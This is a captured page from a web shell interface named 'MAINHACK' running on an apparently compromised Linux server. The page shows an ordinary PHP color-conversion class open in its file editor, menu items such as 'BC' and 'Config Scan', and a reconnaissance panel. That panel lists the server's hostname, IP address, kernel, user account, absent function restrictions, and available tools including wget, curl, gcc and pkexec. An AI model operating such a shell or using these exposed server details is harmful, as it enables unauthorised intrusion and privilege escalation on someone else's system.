[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Hex.php
<?php namespace Spatie\Color; class Hex implements Color { /** @var string */ protected $red; protected $green; protected $blue; protected $alpha = 'ff'; public function __construct(string $red, string $green, string $blue, string $alpha = 'ff') { Validate::hexChannelValue($red); Validate::hexChannelValue($green); Validate::hexChannelValue($blue); Validate::hexChannelValue($alpha); $this->red = strtolower($red); $this->green = strtolower($green); $this->blue = strtolower($blue); $this->alpha = strtolower($alpha); } public static function fromString(string $string) { Validate::hexColorString($string); $string = ltrim($string, '#'); switch (strlen($string)) { case 3: [$red, $green, $blue] = str_split($string); $red .= $red; $green .= $green; $blue .= $blue; $alpha = 'ff'; break; case 4: [$red, $green, $blue, $alpha] = str_split($string); $red .= $red; $green .= $green; $blue .= $blue; $alpha .= $alpha; break; default: case 6: [$red, $green, $blue] = str_split($string, 2); $alpha = 'ff'; break; case 8: [$red, $green, $blue, $alpha] = str_split($string, 2); break; } return new static($red, $green, $blue, $alpha); } public function red(): string { return $this->red; } public function green(): string { return $this->green; } public function blue(): string { return $this->blue; } public function alpha(): string { return $this->alpha; } public function toCIELab(): CIELab { return $this->toRgb()->toCIELab(); } public function toCmyk(): Cmyk { return $this->toRgb()->toCmyk(); } public function toHex(?string $alpha = null): self { return new self($this->red, $this->green, $this->blue, $alpha ?? $this->alpha); } public function toHsb(): Hsb { return $this->toRgb()->toHsb(); } public function toHsl(): Hsl { [$hue, $saturation, $lightness] = Convert::rgbValueToHsl( Convert::hexChannelToRgbChannel($this->red), Convert::hexChannelToRgbChannel($this->green), Convert::hexChannelToRgbChannel($this->blue) ); return new Hsl($hue, $saturation, $lightness); } public function toHsla(?float $alpha = null): Hsla { return $this->toRgb()->toHsla($alpha ?? Convert::hexAlphaToFloat($this->alpha)); } public function toRgb(): Rgb { return new Rgb( Convert::hexChannelToRgbChannel($this->red), Convert::hexChannelToRgbChannel($this->green), Convert::hexChannelToRgbChannel($this->blue) ); } public function toRgba(?float $alpha = null): Rgba { return $this->toRgb()->toRgba($alpha ?? Convert::hexAlphaToFloat($this->alpha)); } public function toXyz(): Xyz { return $this->toRgb()->toXyz(); } public function __toString(): string { return "#{$this->red}{$this->green}{$this->blue}" . ($this->alpha !== 'ff' ? $this->alpha : ''); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.47 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002